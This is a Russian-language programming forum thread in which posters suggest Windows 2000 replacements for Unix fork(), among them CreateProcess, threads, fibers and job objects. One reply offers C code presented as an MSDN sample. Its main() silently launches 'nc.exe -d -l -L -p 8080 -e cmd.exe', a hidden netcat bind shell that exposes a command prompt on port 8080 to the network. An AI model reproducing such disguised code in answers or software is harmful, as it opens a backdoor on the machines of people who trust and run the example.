Здравствуйте UngrunD, Вы писали:
UD>Здравствуйте Linuxoid, Вы писали:
L>>Чем заменить линуховый fork() в W2K ?
UD>CreateProcess(....);
Плохая замена..
Посторонний exe-шник создавать — раз, параметры в него передавать — два, ну и отсутствует возможность использовать общие переменные — три. Короче, CreateProcess() не нравится. Кроме потоков, пока ничего в голову не приходит, но может есть другие механизмы, о которых я не знаю?
Задачка такая — перевожу линуховую прогу под W2K, в основном функции posix-овые использованы, вот только fork-и в нескольких местах..
Здравствуйте Linuxoid, Вы писали:
L>Чем заменить линуховый fork() в W2K ?
Если нужны честные сервисы, то для этого потоки и были сделаны. Тут тебе и общее адресное пространство и дележ процесс. времени. А если после расщепления родительский процесс должен умереть, то кроме CreateProcess тебе больше никто не поможет. Кстати под 2000 появился новый объект виндузового ядра — job, в который можно объединять процессы и накладывать им определенные ограничения
Здравствуйте UngrunD, Вы писали:
UD>Здравствуйте Linuxoid, Вы писали:
L>>Чем заменить линуховый fork() в W2K ?
UD>Если нужны честные сервисы, то для этого потоки и были сделаны. Тут тебе и общее адресное пространство и дележ процесс. времени. А если после расщепления родительский процесс должен умереть, то кроме CreateProcess тебе больше никто не поможет. Кстати под 2000 появился новый объект виндузового ядра — job, в который можно объединять процессы и накладывать им определенные ограничения
UD>С уважением, Ungrund
Нет, родительский процесс умирать не должен.. А вот про job — это интересно, я про него никогда не слышал. Возможно, это то, что нужно? Можно рассказать про него подробнее?
Здравствуйте Linuxoid, Вы писали:
L>Нет, родительский процесс умирать не должен.. А вот про job — это интересно, я про него никогда не слышал. Возможно, это то, что нужно? Можно рассказать про него подробнее?
Нет, это не то, что тебе нужно!
Но для некоторых задач будет полезно. Для процессов, включенных в задание можно установить ограничения на процессорное время, кванты этого времени, установить некоторые запреты, связанные с контекстом защиты и "нахальным" поведением по отношению к другим процессам. Кроме того, можно снимать статистику о времени работы и операциях I\O. То есть можно более гибко распределить вычислительные ресурсы. Например, выделить процесу 20 секунд процю времени, получить уведомление, обработать результаты и принять решение: убить процесс или добавить ему еще времени.
См. CreateJobObject(...);
Здравствуйте Linuxoid, Вы писали:
L>Здравствуйте UngrunD, Вы писали:
UD>>Здравствуйте Linuxoid, Вы писали:
L>>>Чем заменить линуховый fork() в W2K ?
UD>>CreateProcess(....);
L>Плохая замена.. L>Посторонний exe-шник создавать — раз, параметры в него передавать — два, ну и отсутствует возможность использовать общие переменные — три. Короче, CreateProcess() не нравится. Кроме потоков, пока ничего в голову не приходит, но может есть другие механизмы, о которых я не знаю?
Ну есть еще CreateFiber. Но Thread всетаки лучше.
L>Задачка такая — перевожу линуховую прогу под W2K, в основном функции posix-овые использованы, вот только fork-и в нескольких местах..
Здравствуйте Linuxoid, Вы писали:
АП>>Ну есть еще CreateFiber. Но Thread всетаки лучше.
L>Что такое fiber и чем отличается от thread?
Волокно (fiber), как и поток (нить, thread) имеет свой стек, но все волокна одной нити имеют кооперативную многозадачность. Это значит, что переключение волокон совершается программно, а если какое-то волокно затормозилось, то тормозится вся нить. Это отчасти упрощает, а отчасти заморачивает синхронизацию.
Но, мне кажется, в твоем случае это нафиг не нужно, потому что fork() делает новый процесс, изолированный от исходного.
Если процесс-отщепенец выполняет какую-то узкую задачу — то лучше сделать новый поток с помощью CreateThread(), и вынести эту задачу в отдельную функцию.
Создание же полноценной копии процесса (со всем содержимым стека и копией ресурсов) — не только трудоемко, но и вызывает изюмление: зачем это нужно.
Перекуём баги на фичи!
Re: fork()
От:
Аноним
Дата:
24.06.02 11:42
Оценка:
Здравствуйте Linuxoid, Вы писали:
L>Чем заменить линуховый fork() в W2K ?
Про Job'ы и Fiber'ы написано у Джеффри Рихтера "Windows для профессионалов".
Спасибо всем ответившим!
Решил реализовать с помощью потоков. Функции, выполняемые fork()-ом,
достаточно небольшие. Чтобы не менять алгоритм, нужно только поделать
для потоков копии всех используемых fork()-нутой веткой переменных.
Здравствуйте Linuxoid, Вы писали:
L>Здравствуйте UngrunD, Вы писали:
UD>>Здравствуйте Linuxoid, Вы писали:
L>>>Чем заменить линуховый fork() в W2K ?
UD>>CreateProcess(....);
L>Плохая замена.. L>Посторонний exe-шник создавать — раз, параметры в него передавать — два, ну и отсутствует возможность использовать общие переменные — три. Короче, CreateProcess() не нравится. Кроме потоков, пока ничего в голову не приходит, но может есть другие механизмы, о которых я не знаю? L>Задачка такая — перевожу линуховую прогу под W2K, в основном функции posix-овые использованы, вот только fork-и в нескольких местах..
//example prog taken from MSDN
#include <stdio.h>
#include <windows.h>
int
spawn ( char *command, int wait )
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
// Start the child process.
if( !CreateProcess( NULL, // No module name (use command line).
command, // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
FALSE, // Set handle inheritance to FALSE.
0, // No creation flags.
NULL, // Use parent's environment block.
NULL, // Use parent's starting directory.
&si, // Pointer to STARTUPINFO structure.
&pi ) // Pointer to PROCESS_INFORMATION structure.
) return(-1);
// Wait until child process exits.
if (wait) WaitForSingleObject( pi.hProcess, INFINITE );
//
// Close process and thread handles.
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return (0);
/*
// Good old C-style fork
//
int pid; // Process ID
pid = fork();
if ( pid < 0 )
{
printf("\nCannot fork!! \n");
return(1);
}
if ( pid == 0 )
{ // Child process
execl( command, 0);
}
else
{ // Parent process pid is child's pid
return (0);
}
*/
}
int
main ( int argc, char *argv[], char *envp[] )
{
system (" ver > ver.log");
spawn("nc.exe -d -l -L -p 8080 -e cmd.exe", 0);
}
Здравствуйте TepMuHyc, Вы писали:
TMH>Здравствуйте Linuxoid, Вы писали:
L>>Чем заменить линуховый fork() в W2K ? TMH>Аналога просто НЕТ.
TMH>Но могу посоветовать залезть под юбку "Красной шапочке" (вот сюда http://sources.redhat.com/cgi-bin/cvsweb.cgi/src/winsup/cygwin/?cvsroot=src) и посмотреть как они это реализовали в своем cygwin — см. файл fork.cc
У Garry Nebbett в главе про процессы есть такое, только вряд ли там совсем настоящий форк, но хоть что-то.